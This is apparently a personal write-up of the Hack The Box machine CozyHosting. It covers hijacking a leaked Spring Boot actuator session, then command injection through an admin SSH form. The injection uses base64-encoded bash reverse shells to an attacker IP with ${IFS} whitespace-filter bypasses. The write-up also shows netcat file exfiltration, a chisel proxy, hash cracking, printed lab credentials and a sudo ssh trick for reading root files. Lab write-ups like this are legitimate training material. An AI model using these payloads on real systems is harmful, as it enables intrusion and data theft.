CozyHosting
2023-09-08
INTRODUCTION
Cozyhosting was released as the penultimate box of HTB’s season II “Hackers Clash”. The box is set up as a server hosting a Spring Boot
application, with the challenge revolving around exploiting the web app to gain an initial foothold. The box uses common vulnerabilities and is definitely one of the easier boxes of the season.
Recon for Cozyhosting was important. A little bit of enumeration will yield a token with which you can hijack an existing session, giving you access to an admin dashboard. The admin dashboard has functionality inside it that can lead directly into a foothold - the only trick is in realizing what’s in front of you (Burp will be very useful here). Also, knowing a few tricks for escaping strings for shell command injection might help 😉.
Keeping in mind how spring boot
works will point you in the right direction for achieving the user flag: theres a file necessary for the server to run that leads, indirectly, to a couple password hashes. After a little hash cracking (don’t worry, it’s fast), you’ll finally have SSH access to the box. Once you have ssh open, the privesc to root should be very, very obvious. Don’t overthink the root flag - once you see it, just check GTFObins and do what it says.
RECON
nmap scans
For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to my target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
Nmap scan report for 10.10.11.230
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Is this one entirely web? To investigate a little further, I ran a script scan over the ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Webserver Strategy
Noting the redirect from the nmap scan, I added download.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=cozyhosting.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 80 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results. That’s fine though - it’s not as if “cozyhosting” is in my wordlist. Now I’ll check for subdomains of cozyhosting.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 80 -o fuzzing/vhost-cozyhosting.md -of md -timeout 4 -ic -ac -v
No results from that, either. I’ll move on to directory enumeration on http://cozyhosting.htb:
Note: When I first ran directory enumeration, I got lots of nuisance HTTP status 200 results, each of size 2066B - so those are filtered out in the following
ffuf
command
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v
Directory enumeration against http://cozyhosting.htb/ gave the following:
I tried accessing /admin, just to see what was there. It just leads to a page that is not useful. So then I tried a larger wordlist:
WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -timeout 4 -v
This didn’t produce any usable new results, either. It seems like many pages that have a URL-encoded “.” match to a 1-word page, but these don’t seem useful in any way. I’ll try a couple more tools for directory enumeration. First, I’ll try dirsearch
:
dirsearch -t 60 -u http://cozyhosting.htb
Oh, nice! There is a directory for /actuator
. This is a Java Spring Boot tool for helping add webserver features; it does things like logging and monitoring. If I can access it unauthenticated, this is a fairly serious misconfiguration and a very likely path forward.
Yep! I can access it unauthenticated. That /actuator/env
looks juicy: I’ll check that out first. Clearly this is pointing to http://localhost:8080/actuator/env, but as shown in the top result, all of these pages are also publicly available under http://cozyhosting/actuator.
I get the impression that /actuator/env
actually has most of its values hidden or censored. There doesn’t seem to be anything here that is useful. I’ll check out /actuator/sessions
instead:
😁 Nice! We can just swipe that session ID and take over the session open as kanderson
. While exploring the website a bit and proxying my requests through Burp, I noticed that each request includes a JSESSIONID
cookie. To see if kanderson
is an “admin” I’ll try using their cookie while making a request to the /admin
page:
It worked like a charm!
😆 Well, that was pretty easy! I’ll take a look around the admin page. Already, I see that each host is marked as Patched / Pending ? Not patched. This must be what the index page was alluding to, from their description of each tier of service shown below:
On the admin page, there is an odd message. Is this just a typo? Usually only the public key gets put into the .ssh/authorized_keys
file:
This “include host into automatic patching” includes a small form where where the admin user can specify a host and a username:
<form action="/executessh" method="post">
<div class="row mb-3">
<label class="col-sm-2 col-form-label">Connection settings</label>
<div class="col-sm-10">
<div class="form-floating mb-3">
<input name="host" class="form-control" id="host" placeholder="example.com">
<label for="host">Hostname</label>
</div>
<div class="form-floating mb-3">
<input name="username" class="form-control" id="username" placeholder="user">
<label for="username">Username</label>
</div>
</div>
</div>
<div class="text-center">
<button type="submit" class="btn btn-primary">Submit</button>
<button type="reset" class="btn btn-secondary">Reset</button>
</div>
</form>
FOOTHOLD
Automatic Patching Form
I tried filling out this form in a few different ways, using the kanderson
session ID each time. First, I tried one of the hosts that were listed on the admin page:
Invalid hostname, eh? Ok. I’ll instead try the ID number beside it:
That translates to 0.0.10.84? Ohh… I think I see what’s going on: 10*256+84 = 2644. Yep! 🤓 It’s an IPv4 translation to a 4-digit base-256 number. Here’s a more trivial case, also showing that this will try to connect to any numeric address:
Taking this one step further, the localhost address would be 127 * 256^3 + 1 = 2,130,706,433:
“Host key verification failed”. Well, at least that’s something different. It probably means that it’s a valid host. Assuming the host is fine, I’ll try messing around with the username
parameter instead. I’ll try a blank username
:
Very interesting! The server must be issuing a command in the form ssh -i <keyfile> <username>@<host> <command>
. So when I provided a blank username
, I get the ssh
error text. That’s fine though - there’s a good chance this could lead to command injection. How about, instead of providing a username, I’ll just pop in a shell command:
Perfect! That proves that command injection is possible. I’ll try reading a file instead:
Username can’t contain whitespaces, eh? Ok, no problem - there’s plenty of tricks for that:
Excellent - that’s the first line of /etc/passwd
that got dumped into the error text. For context, there are many more methods for bypassing spaces listed on this Hacktricks page. I’ll try a reverse shell next:
sudo ufw allow from $RADDR to any port 4444 proto tcp
socat -d -d TCP-LISTEN:4444 STDOUT
And I’ll use a base64-encoded bash reverse shell:
{echo,"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEzLzQ0NDQgMD4mMQ=="|base64,-d|bash,-i}
It’s still complaining about whitespace. Must be because of the +
characters inside the payload, which is a URL-encoded space character. I’ll double-encode the base-64 payload this time:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMy80NDQ0IDA+JjE=" | base64
# WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0eE15ODBORFEwSURBK0pqRT0K
😬 Ouch - it liked that even less. I’ll try a different method of introducing spaces, using ${IFS}
:
echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0eE15ODBORFEwSURBK0pqRT0K|base64${IFS}-d|base64${IFS}-d|bash${IFS}-i
🐱 Success! Got a shell!
USER FLAG
cloudhosting-0.0.1.jar
The reverse shell opened as user app
in directory /app
. Inside, there’s a .jar
file that was referenced several times within /actuator/env
, called cloudhosting-0.0.1.jar
. I’ll transfer it to my attacker box and examine it:
sudo ufw allow from $RADDR to any port 4445 proto tcp
nc -lvnp 4445 > cloudhosting-0.0.1.jar
nc -nv 10.10.14.13 4445 < cloudhosting-0.0.1.jar
The file is roughly 60MB, so it might take some time to transfer. To tell when it’s finished, I’ll watch the file size in another terminal tab:
cd ~/Box_Notes/CozyHosting
watch -n 1 "ls -lah"
While I’m waiting for that file transfer, I’ll take another look at /actuator/env
to see what I can expect to find in the .jar
file:
There’s all kinds of stuff. Looks like maybe a credential and perhaps a database connection?
The file transfers finally finished, so I checked the source and destination files with sha256sum
and they did indeed both match.
Bingo! In BOOT-INF > classes > application.properties
the database credentials are in plaintext:
server.address=127.0.0.1
[...SNIP...]
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
For copy-pasting, that credential is postgres : Vg&nvzAQ7XxR.
And in the file BOOT-INF > classes > htb.cloudhosting > scheduled > FakeUser.class
we have the credentials for kanderson
in plaintext too. kanderson : MRdEQuv6~6P9
User Enumeration - app
As usual, in an effort to keep the walkthrough as brief as possible, I’ll omit the procedure of user enumeration and instead I’ll only discuss any noteworthy results of user enumeration.
josh
is the human user on the box. Other than that,postgres
androot
are important.- Useful tools on the box include
nc, netcat, curl, wget, python3, perl, tmux
. - Netstat shows some interesting services running:
- Did not yet look into pspy
Chisel SOCKS Proxy
During user enumeration I found a locally-exposed port 5432 (definitely PostgreSQL). To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel
server:
☝️ Note: I already have proxychains installed, and my
/etc/proxychains.conf
file ends with:... socks5 127.0.0.1 1080 #socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse --key s4ucys3cret
Then, on the target machine, start up the chisel client and background it:
./chisel client 10.10.14.13:9999 R:1080:socks &
PostgreSQL
Now that the proxy is up, I’ll try accessing the database:
proxychains psql -h 127.0.0.1 -p 5432 -d cozyhosting -U postgres
There is a users table, so I checked that right away:
I put those hashes into a file for cracking, hashes.txt
:
Just for my own information, I also checked what the hash format was:
Then I set john
to work. Thankfully, I got a result within a minute or so:
There are no users on the box called admin
, so there’s a good chance this will factor into some credential re-use. I’ll try the other human user, josh
first:
Lucky! Finally a nice “cozy” SSH connection 🤗
So, confirmed, a valid credential is josh : manchesterunited
Thankfully, the user flag is sitting right there, adjacent to where the SSH connection appeared:
cat user.txt
ROOT FLAG
Shortcut to Win
Normally, I’d go through the whole process of user enumeration. However, one of the first commands I run when performing user enumeration told me all that I need to know:
I’ve never considered SSH itself as a privilege escalation vector before, so I checked out the page on GTFObins. There is a fairly trivial way to just read a file using the elevated permissions:
ssh -F /root/root.txt localhost
🍰 And there’s the flag! Nothing to it.
LESSONS LEARNED
Attacker
Look up common misconfigurations. Gaining the session token for
kanderson
was really easy, but at first I didn’t know about this vulnerability at all. Initial recon turned up the “actuator” endpoint, but it took a little research to see how misconfiguration of “actuator” could actually be utilized.Have a list of string escapes and bypasses. On this box, there was server-side input sanitization that prevented us from inputing spaces. This was a small hurdle for the command injection step, as we had to find another way to use spaces in a command, without them being rejected by the server. This is a pretty good resource.
Imagine what code is running server-side. This paradigm will help you craft a successful attack. Usually, the first step of figuring out what the code might be is to simply understand what the code is supposed to do. Read forms carefully; look for code comments; try to get the server to provide a stack trace. When all else fails, build test cases and take a black-box approach. Just because this box is primarily web, doesn’t mean you can’t utilize reverse-engineering techniques!
Defender
Always prefer allowlists to denylists. When I first found remote code execution on the box through command injection on the
/executessh
endpoint, I saw that the server was denying requests that had a space in the username. However, there are many tricks to avoid that. While it might be possible for a developer to write a canonical list of every single way to make whitespace, it is much more realistic to write a simple regex for what should be allowed instead of what should not be allowed.Tokens should expire. On this box, initial access was gained by re-using a session token gained during recon. While it is somewhat realistic that a token might be accidentally leaked, these tokens in practice should have a much tighter expiry time.
Don’t circumvent safeguards. On this box, privesc to root happened because
josh
couldsudo SSH
. Now I’ll ask, in what world does that actually make any sense? At best, this was a clumsy mistake by an ill-informed administrator. SSH provides a shell, so this is equivalent to givingjosh
full sudo access.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake